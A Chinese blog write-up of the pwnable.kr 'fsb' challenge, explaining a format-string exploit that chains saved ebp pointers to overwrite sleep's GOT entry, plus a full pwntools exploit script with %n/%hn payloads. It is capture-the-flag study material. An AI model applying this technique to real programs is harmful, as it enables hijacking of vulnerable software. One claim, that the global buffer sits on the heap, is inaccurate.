pwnable学习笔记-fsb

本文详细解析了一个格式化字符串漏洞的利用过程,包括通过修改ebp指向sleep函数在got表中的地址,以及在main函数的ebp中写入shellcode的起始地址等关键步骤。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这是一道有趣的格式化字符串漏洞(Format string bug)。

题目源码

#include <stdio.h>
#include <alloca.h>
#include <fcntl.h>

unsigned long long key;
char buf[100];
char buf2[100];

int fsb(char** argv, char** envp){
    char* args[]={"/bin/sh", 0};
    int i;

    char*** pargv = &argv;
    char*** penvp = &envp;
        char** arg;
        char* c;
        for(arg=argv;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
        for(arg=envp;*arg;arg++) for(c=*arg; *c;c++) *c='\0';
    *pargv=0;
    *penvp=0;

    for(i=0; i<4; i++){
        printf("Give me some format strings(%d)\n", i+1);
        read(0, buf, 100);
        printf(buf);
    }

    printf("Wait a sec...\n");
        sleep(3);

        printf("key : \n");
        read(0, buf2, 100);
        unsigned long long pw = strtoull(buf2, 0, 10);
        if(pw == key){
                printf("Congratz!\n");
                execve(args[0], args, 0);
                return 0;
        }

        printf("Incorrect key \n");
    return 0;
}

int main(int argc, char* argv[], char** envp){

    int fd = open("/dev/urandom", O_RDONLY);
    if( fd==-1 || read(fd, &key, 8) != 8 ){
        printf("Error, tell admin\n");
        return 0;
    }
    close(fd);

    alloca(0x12345 & key);

    fsb(argv, envp); // exploit this format string bug!
    return 0;
}

可以很明显地看见,漏洞的利用点在:

for(i=0; i<4; i++){
        printf("Give me some format strings(%d)\n", i+1);
        read(0, buf, 100);
        printf(buf);
    }
   从这个循环里可以看见,漏洞可以利用4次,而且重要的是buf是全局变量,也就是buf的数据在堆里,所以在buf里写入exp然后想办法跳转执行的思路是行不通的,因为通过%n只能修改栈上的数据。
   一开始苦思冥想而不知(太菜),只能去查资料,查到一个有用的:

链接:http://phrack.org/issues/59/7.html
思路大概是这样的,因为当前函数的ebp总是保存着上一个函数的ebp地址,也就是说当前函数的ebp指向的是前一个函数的ebp。而且2个ebp都是可写的,那么通过修改2个ebp的内容,就可以实现任意内存的写。

  1. 找出2个ebp到栈上格式化字符串地址的偏移。

    gdb调式图-1
    第一次输入aaaa图-2

可以看见寄存器区里的代码:

EBP: 0xffe63588 --> 0xffe758e8 --> 0x0
ESP: 0xffe63540 --> 0x0

0xffe63588就是fsb函数的ebp,里面存着main函数的ebp0xffe758e8。
从图-2中可以看出buf的地址为:0x804a100,且这个地址在调用printf函数之前放在了esp上,esp此时的地址是0xffe63540,ebp的地址是0xffe63588。
又因为x86下栈是4个字节对齐的,printf参数从右往左压入栈中,比如:

printf("%1000c%s"s,n);

这句话中esp存储”%1000c%s”字符串的地址,esp+4存储变量s的地址,esp+8存储变量n的地址。那么通过

printf("%08x%08x....")

可以泄露栈中esp之上的所有地址。我们知道,fsb函数中,(ebp-esp)/4=(0xffe6358-0xffe63540)/4=18,偏移量18是不会随地址随机化改变而改变的。而且,在调式时,我们知道,esp+14处的内容正好是esp+0x50,这个偏移也是固定不变的。
那么输入"%14$08x%18$08x",得到的2个结果,第一个就是esp+50,第二个就是ebp。
2. 在fsb函数的ebp里写入sleep函数在got表中的地址

sleep函数在got表中的地址

该地址可以通过readelf -r fsb查询,查得的地址是:0x0804a008。
0x0804a008转化为10进制为:134520840。
所以第二次输入:%134520840c%18$n。这样fsb函数的ebp中就写入了0x0804a00。fsb函数的ebp指向main函数的ebp,那么将main函数的ebp内容修改为shellcode,当触发sleep函数的时候,就调用了shellcode。
3. 在main函数的ebp里写入shellcode的起始地址

ffb8b510ffb8d5a8

假设在第一步的时候,那么就得到esp=0xffb8b510-0x50=0xffb8b4c0,[ebp]=0xffb8d5a8,要修改main函数的ebp,同第二步类似,算出偏移量offset=([ebp]-esp)/4=2106,因为在代码区,前2个字节不变,只需修改后面2个字节,所以第3次输入:

%34475c%2106$hn

34475=(0x080486ab&0xffff),x080486ab是execve(args[0], args, 0);在代码区中的地址。
4. 随意输入内容(陷阱)

for(i=0; i<4; i++){
        printf("Give me some format strings(%d)\n", i+1);
        read(0, buf, 100);
        printf(buf);
    }

再仔细看下这段代码,发现有一个致命的问题就是buf是没有清空的,也就是说,最后一次写的buf如果长度不足,只会覆盖buf的前面几个字节。
如果第4次只输入一个字母’A’,那么造成的结果就是:buf的内容变成了—“A34475c%2106$hn”,那么main函数中ebp就会被再次覆写为7,此时执行会报段错误,这里调式了好多次才发现了这个错误(就怕流氓有耐心),所有第4次至少写8个字符覆盖第2个”%”。

终上所述,最后给出用pwntools写的脚本

#encoding=utf-8
from pwn import *

p=ssh(host='pwnable.kr',port=2222,user='fsb',password='guest').run('/home/fsb/fsb')
sleep_got=0x0804a008
shellcode=0x080486ab

p.recvuntil("(1)\n")
exp_1="%14$08x%18$08x"
print "[+]exp_1=%s"%exp_1
p.sendline(exp_1)
esp=int(p.recv(8),16)-0x50#格式化字符串的地址
ebp=int(p.recv(8),16)
offset=(ebp-esp)/4
print "esp:%s" %hex(esp)
print "ebp:%s" %hex(ebp)
print "offset:%s" %offset

p.recvuntil("(2)\n")
exp_2="%%%dc"%(sleep_got)+"%18$n"
print "[+]exp_2=%s"%exp_2
p.sendline(exp_2)

p.recvuntil("(3)\n")
exp_3=("%%%dc"%(shellcode&0xffff)) + "%%%d$hn"%(offset)
print "[+]exp_3=%s"%exp_3
p.sendline(exp_3)

p.recvuntil("(4)\n")
exp_4="AAAAAAAA" #这里至少是8个字符(加上\n),覆盖%34475c%2106$hn中的头8个字符,不会造成二次写
print "[+]exp_4=%s"%exp_4
p.sendline(exp_4)

#p.recvuntil("Wait a sec...\n")
p.interactive()

这种利用ebp去构造指针的思路依然可以用于其他会造成内存任意读写的漏洞,思路很美妙,深深地佩服第一个想到这种思路的人。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值